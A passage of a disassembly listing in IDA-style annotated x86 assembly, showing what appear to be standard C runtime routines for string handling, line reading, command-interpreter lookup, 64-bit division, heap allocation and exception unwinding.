loc_42AF80: ; CODE XREF: sub_42AE50+1Cj
; sub_42AE50+39j ...
pop edi
pop esi
leave
retn
sub_42AE50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AF90 proc near ; CODE XREF: sub_40A938+620Bp
; sub_40A938+6230p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_42AFB1
xor eax, eax
jmp short loc_42AFB3
; ---------------------------------------------------------------------------
loc_42AFB1: ; CODE XREF: sub_42AF90+1Bj
mov eax, edi
loc_42AFB3: ; CODE XREF: sub_42AF90+1Fj
cld
pop edi
leave
retn
sub_42AF90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AFB7 proc near ; CODE XREF: sub_40A938+4B19p
; sub_424DE2+12Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_42AFCB
xor eax, eax
jmp short loc_42B015
; ---------------------------------------------------------------------------
loc_42AFCB: ; CODE XREF: sub_42AFB7+Ej
push esi
mov esi, [ebp+arg_8]
push esi
call sub_42C104
pop ecx
loc_42AFD6: ; CODE XREF: sub_42AFB7+46j
dec [ebp+arg_4]
jz short loc_42B008
dec dword ptr [esi+4]
js short loc_42AFEA
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_42AFF1
; ---------------------------------------------------------------------------
loc_42AFEA: ; CODE XREF: sub_42AFB7+27j
push esi
call sub_42F312
pop ecx
loc_42AFF1: ; CODE XREF: sub_42AFB7+31j
cmp eax, 0FFFFFFFFh
jz short loc_42AFFF
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_42B008
jmp short loc_42AFD6
; ---------------------------------------------------------------------------
loc_42AFFF: ; CODE XREF: sub_42AFB7+3Dj
cmp edi, [ebp+arg_0]
jnz short loc_42B008
xor ebx, ebx
jmp short loc_42B00B
; ---------------------------------------------------------------------------
loc_42B008: ; CODE XREF: sub_42AFB7+22j
; sub_42AFB7+44j ...
and byte ptr [edi], 0
loc_42B00B: ; CODE XREF: sub_42AFB7+4Fj
push esi
call sub_42C156
pop ecx
mov eax, ebx
pop esi
loc_42B015: ; CODE XREF: sub_42AFB7+12j
pop edi
pop ebx
pop ebp
retn
sub_42AFB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B019 proc near ; CODE XREF: sub_40A938+46CDp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push offset aComspec ; "COMSPEC"
call sub_4311F2
pop ecx
xor esi, esi
mov ecx, [ebp+arg_0]
mov [ebp+var_10], eax
cmp ecx, esi
jnz short loc_42B050
cmp eax, esi
jnz short loc_42B040
xor eax, eax
jmp short loc_42B0B7
; ---------------------------------------------------------------------------
loc_42B040: ; CODE XREF: sub_42B019+21j
push esi
push eax
call sub_42A5F0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_42B0B7
; ---------------------------------------------------------------------------
loc_42B050: ; CODE XREF: sub_42B019+1Dj
cmp eax, esi
mov [ebp+var_C], offset dword_437450
mov [ebp+var_8], ecx
mov [ebp+var_4], esi
jz short loc_42B08F
lea ecx, [ebp+var_10]
push esi
push ecx
push eax
push esi
call sub_431058
mov edi, eax
add esp, 10h
cmp edi, 0FFFFFFFFh
jnz short loc_42B08B
call sub_42F049
cmp dword ptr [eax], 2
jz short loc_42B08F
call sub_42F049
cmp dword ptr [eax], 0Dh
jz short loc_42B08F
loc_42B08B: ; CODE XREF: sub_42B019+5Cj
mov eax, edi
jmp short loc_42B0B7
; ---------------------------------------------------------------------------
loc_42B08F: ; CODE XREF: sub_42B019+46j
; sub_42B019+66j ...
test byte_6769B1, 80h
mov [ebp+var_10], offset dword_437444
jnz short loc_42B0A6
mov [ebp+var_10], offset aCmd_exe ; "cmd.exe"
loc_42B0A6: ; CODE XREF: sub_42B019+84j
lea eax, [ebp+var_10]
push esi
push eax
push [ebp+var_10]
push esi
call sub_430EF3
add esp, 10h
loc_42B0B7: ; CODE XREF: sub_42B019+25j
; sub_42B019+35j ...
pop edi
pop esi
leave
retn
sub_42B019 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_42B0D0
loc_42B0C0: ; CODE XREF: sub_42B0D0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_42B0D0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42B0D0 proc near ; CODE XREF: sub_40A938+4682p
; sub_40A938+603Fp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0042B0C0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_42B0D6: ; CODE XREF: sub_42ADD0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_42B0FB
loc_42B0E8: ; CODE XREF: sub_42B0D0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_42B0C0
test cl, cl
jz short loc_42B144
test edx, 3
jnz short loc_42B0E8
loc_42B0FB: ; CODE XREF: sub_42B0D0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_42B106: ; CODE XREF: sub_42B0D0+61j
; sub_42B0D0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_42B148
and eax, 81010100h
jz short loc_42B106
and eax, 1010100h
jnz short loc_42B142
and esi, 80000000h
jnz short loc_42B106
loc_42B142: ; CODE XREF: sub_42B0D0+68j
; sub_42B0D0+81j ...
pop esi
pop edi
loc_42B144: ; CODE XREF: sub_42B0D0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42B148: ; CODE XREF: sub_42B0D0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_42B185
test al, al
jz short loc_42B142
cmp ah, bl
jz short loc_42B17E
test ah, ah
jz short loc_42B142
shr eax, 10h
cmp al, bl
jz short loc_42B177
test al, al
jz short loc_42B142
cmp ah, bl
jz short loc_42B170
test ah, ah
jz short loc_42B142
jmp short loc_42B106
; ---------------------------------------------------------------------------
loc_42B170: ; CODE XREF: sub_42B0D0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42B177: ; CODE XREF: sub_42B0D0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42B17E: ; CODE XREF: sub_42B0D0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42B185: ; CODE XREF: sub_42B0D0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_42B0D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42B190 proc near ; CODE XREF: sub_40A938+A4Cp
; sub_431588+26p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_42B1DC
loc_42B1A0: ; CODE XREF: sub_42B190+3Cj
; sub_42B190+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_42B1D4
or al, al
jz short loc_42B1D0
cmp ah, [ecx+1]
jnz short loc_42B1D4
or ah, ah
jz short loc_42B1D0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_42B1D4
or al, al
jz short loc_42B1D0
cmp ah, [ecx+3]
jnz short loc_42B1D4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_42B1A0
mov edi, edi
loc_42B1D0: ; CODE XREF: sub_42B190+18j
; sub_42B190+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_42B1D4: ; CODE XREF: sub_42B190+14j
; sub_42B190+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_42B1DC: ; CODE XREF: sub_42B190+Ej
test edx, 1
jz short loc_42B1F8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_42B1D4
inc ecx
or al, al
jz short loc_42B1D0
test edx, 2
jz short loc_42B1A0
loc_42B1F8: ; CODE XREF: sub_42B190+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_42B1D4
or al, al
jz short loc_42B1D0
cmp ah, [ecx+1]
jnz short loc_42B1D4
or ah, ah
jz short loc_42B1D0
add ecx, 2
jmp short loc_42B1A0
sub_42B190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42B220 proc near ; CODE XREF: sub_40A938+190Fp
; sub_418EDB+10Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_42B241
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_42B241: ; CODE XREF: sub_42B220+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_42B25D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_42B25D: ; CODE XREF: sub_42B220+27j
or eax, eax
jnz short loc_42B279
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_42B2BA
; ---------------------------------------------------------------------------
loc_42B279: ; CODE XREF: sub_42B220+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_42B287: ; CODE XREF: sub_42B220+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_42B287
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_42B2B5
cmp edx, [esp+0Ch+arg_4]
ja short loc_42B2B5
jb short loc_42B2B6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_42B2B6
loc_42B2B5: ; CODE XREF: sub_42B220+85j
; sub_42B220+8Bj
dec esi
loc_42B2B6: ; CODE XREF: sub_42B220+8Dj
; sub_42B220+93j
xor edx, edx
mov eax, esi
loc_42B2BA: ; CODE XREF: sub_42B220+57j
dec edi
jnz short loc_42B2C4
neg edx
neg eax
sbb edx, 0
loc_42B2C4: ; CODE XREF: sub_42B220+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_42B220 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B2CA proc near ; CODE XREF: sub_415440+5p
; sub_418A0D+19Cp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0042B36C SIZE 0000007B BYTES
; FUNCTION CHUNK AT 0042B3F5 SIZE 00000012 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437460
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
mov [ebp+arg_4], esi
mov [ebp+var_1C], esi
cmp esi, 0FFFFFFE0h
ja short loc_42B313
xor ebx, ebx
cmp esi, ebx
jnz short loc_42B308
push 1
pop esi
loc_42B308: ; CODE XREF: sub_42B2CA+39j
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+arg_4], esi
jmp short loc_42B315
; ---------------------------------------------------------------------------
loc_42B313: ; CODE XREF: sub_42B2CA+33j
xor ebx, ebx
loc_42B315: ; CODE XREF: sub_42B2CA+47j
; sub_42B2CA+115j
mov [ebp+var_20], ebx
cmp esi, 0FFFFFFE0h
ja loc_42B3C9
mov eax, dword_676FE4
cmp eax, 3
jnz short loc_42B36C
mov edi, [ebp+var_1C]
cmp edi, dword_676FDC
ja short loc_42B3B2
push 9
call sub_42DA1F
pop ecx
mov [ebp+var_4], ebx
push edi
call sub_42CB7E
pop ecx
mov [ebp+var_20], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_42B363
cmp [ebp+var_20], ebx
jz short loc_42B3B7
push [ebp+var_1C]
jmp short loc_42B3A6
sub_42B2CA endp
; =============== S U B R O U T I N E =======================================
sub_42B35E proc near ; DATA XREF: ?9:00437468o
xor ebx, ebx
mov esi, [ebp+0Ch]
sub_42B35E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42B363 proc near ; CODE XREF: sub_42B2CA+85p
push 9
call sub_42DA80
pop ecx
retn
sub_42B363 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B2CA
loc_42B36C: ; CODE XREF: sub_42B2CA+5Fj
cmp eax, 2
jnz short loc_42B3B2
cmp esi, dword_453154
ja short loc_42B3B2
push 9
call sub_42DA1F
pop ecx
mov [ebp+var_4], 1
mov eax, esi
shr eax, 4
push eax
call sub_42D621
pop ecx
mov [ebp+var_20], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_42B3EC
cmp [ebp+var_20], ebx
jz short loc_42B3B7
push esi
loc_42B3A6: ; CODE XREF: sub_42B2CA+92j
push ebx
push [ebp+var_20]
call sub_429690
add esp, 0Ch
loc_42B3B2: ; CODE XREF: sub_42B2CA+6Aj
; sub_42B2CA+A5j ...
cmp [ebp+var_20], ebx
jnz short loc_42B3F5
loc_42B3B7: ; CODE XREF: sub_42B2CA+8Dj
; sub_42B2CA+D9j
push esi
push 8
push dword_676FE0
call dword_43720C ; RtlAllocateHeap
mov [ebp+var_20], eax
loc_42B3C9: ; CODE XREF: sub_42B2CA+51j
cmp [ebp+var_20], ebx
jnz short loc_42B3F5
cmp dword_676910, ebx
jz short loc_42B3F5
push esi
call sub_42C5F5
pop ecx
test eax, eax
jnz loc_42B315
jmp short loc_42B3F8
; END OF FUNCTION CHUNK FOR sub_42B2CA
; =============== S U B R O U T I N E =======================================
sub_42B3E7 proc near ; DATA XREF: ?9:00437474o
xor ebx, ebx
mov esi, [ebp+0Ch]
sub_42B3E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42B3EC proc near ; CODE XREF: sub_42B2CA+D1p
push 9
call sub_42DA80
pop ecx
retn
sub_42B3EC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B2CA
loc_42B3F5: ; CODE XREF: sub_42B2CA+EBj
; sub_42B2CA+102j ...
mov eax, [ebp+var_20]
loc_42B3F8: ; CODE XREF: sub_42B2CA+11Bj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_42B2CA
; =============== S U B R O U T I N E =======================================
sub_42B407 proc near ; CODE XREF: sub_4154E4+Fp
; sub_4154E4+30p ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_4296FA
pop ecx
pop ecx
retn
sub_42B407 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B415 proc near ; CODE XREF: sub_431699+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_42B415 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_42B449 proc near ; CODE XREF: sub_431859+199p
; sub_431A1D+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_42B449 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42B450 proc near ; CODE XREF: sub_431859+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_42B450 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B457 proc near ; CODE XREF: sub_42B60B+5Cp
; sub_431699:loc_4316CAp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_42B47F
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_436230 ; RtlUnwind
loc_42B47F: ; DATA XREF: sub_42B457+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_42B457 endp
; ---------------------------------------------------------------------------
loc_42B4A6: ; CODE XREF: ?9:00436247j ?9:00436259j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_431290
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B4DC proc near ; CODE XREF: sub_431714+7Bp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_42B530
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_431AB0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_42B4DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B530 proc near ; DATA XREF: sub_42B4DC+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_431290
add esp, 20h
pop ebp
retn
sub_42B530 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B555 proc near ; CODE XREF: sub_4314DE+27p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_42B60B
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_42B5DD
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call sub_42E41E
call dword ptr [eax+68h]
pop ecx
pop ecx
and [ebp+var_34], 0
loc_42B5DD: ; DATA XREF: sub_42B555+3Co
cmp [ebp+var_4], 0
jz short loc_42B5FA
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_42B603
; ---------------------------------------------------------------------------
loc_42B5FA: ; CODE XREF: sub_42B555+8Cj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_42B603: ; CODE XREF: sub_42B555+A3j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_42B555 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B60B proc near ; DATA XREF: sub_42B555+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_42B62E
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_42B67B
; ---------------------------------------------------------------------------
loc_42B62E: ; CODE XREF: sub_42B60B+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_431290
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_42B66C
push [ebp+arg_0]
push [ebp+arg_4]
call sub_42B457
loc_42B66C: ; CODE XREF: sub_42B60B+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_42B67B: ; CODE XREF: sub_42B60B+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42B60B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B680 proc near ; CODE XREF: sub_43132B+D2p
; sub_4314DE+45p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_42B6D7
loc_42B69E: ; CODE XREF: sub_42B680+52j
cmp esi, 0FFFFFFFFh
jnz short loc_42B6A8
call sub_431B5D
loc_42B6A8: ; CODE XREF: sub_42B680+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_42B6BD
cmp ecx, [eax+8]
jle short loc_42B6C2
loc_42B6BD: ; CODE XREF: sub_42B680+36j
cmp esi, 0FFFFFFFFh
jnz short loc_42B6CE
loc_42B6C2: ; CODE XREF: sub_42B680+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_42B6CE: ; CODE XREF: sub_42B680+40j
cmp [ebp+arg_4], 0
jge short loc_42B69E
mov eax, [ebp+var_4]
loc_42B6D7: ; CODE XREF: sub_42B680+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_42B6EB
cmp esi, eax
jbe short loc_42B6F0
loc_42B6EB: ; CODE XREF: sub_42B680+65j
call sub_431B5D
loc_42B6F0: ; CODE XREF: sub_42B680+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_42B680 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_42B6FC proc near ; CODE XREF: sub_4154E4+5p
; sub_419797+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_42B6FC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42B71B proc near ; CODE XREF: sub_42B799+4p
arg_0 = dword ptr 4
push esi
call sub_430B2B
push dword_676EB4
call sub_431EE2
mov edx, dword_676EB4
pop ecx
mov ecx, dword_676EB0
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
jnb short loc_42B781
push edx
call sub_431EE2
add eax, 10h
push eax
push dword_676EB4
call sub_431BB3
add esp, 0Ch
test eax, eax
jnz short loc_42B764
xor esi, esi
jmp short loc_42B790
; ---------------------------------------------------------------------------
loc_42B764: ; CODE XREF: sub_42B71B+43j
mov ecx, dword_676EB0
sub ecx, dword_676EB4
mov dword_676EB4, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_676EB0, ecx
loc_42B781: ; CODE XREF: sub_42B71B+27j
mov eax, [esp+4+arg_0]
mov [ecx], eax
add dword_676EB0, 4
mov esi, eax
loc_42B790: ; CODE XREF: sub_42B71B+47j
call sub_430B34
mov eax, esi
pop esi
retn
sub_42B71B endp
; =============== S U B R O U T I N E =======================================
sub_42B799 proc near ; CODE XREF: sub_418CA0+19p
; sub_42917D+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_42B71B
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_42B799 endp
; =============== S U B R O U T I N E =======================================
sub_42B7AB proc near ; DATA XREF: ?9:0043A018o
push 80h
call sub_4296E8
test eax, eax
pop ecx
mov dword_676EB4, eax
jnz short loc_42B7CC
push 18h
call sub_42C5AC
mov eax, dword_676EB4
pop ecx
loc_42B7CC: ; CODE XREF: sub_42B7AB+12j
and dword ptr [eax], 0
mov eax, dword_676EB4
mov dword_676EB0, eax
retn
sub_42B7AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B7DA proc near ; CODE XREF: sub_4196E3+20p
; sub_41C41E+20p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_42DBAD
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_42B818
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_42B825
; ---------------------------------------------------------------------------
loc_42B818: ; CODE XREF: sub_42B7DA+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_42DA95
pop ecx
pop ecx
loc_42B825: ; CODE XREF: sub_42B7DA+3Cj
mov eax, esi
pop esi
leave
retn
sub_42B7DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B82A proc near ; CODE XREF: sub_41B12F+54p
; sub_41B1F6+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_437478
